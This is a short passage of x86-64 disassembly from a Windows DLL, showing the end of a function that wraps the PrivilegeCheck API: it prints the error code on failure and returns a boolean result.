call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.PrivilegeCheck___failed__error__u_n
call fcn.180004e10
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
cmp dword [rsp + 0x80], ebx
setne bl
mov eax, ebx
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret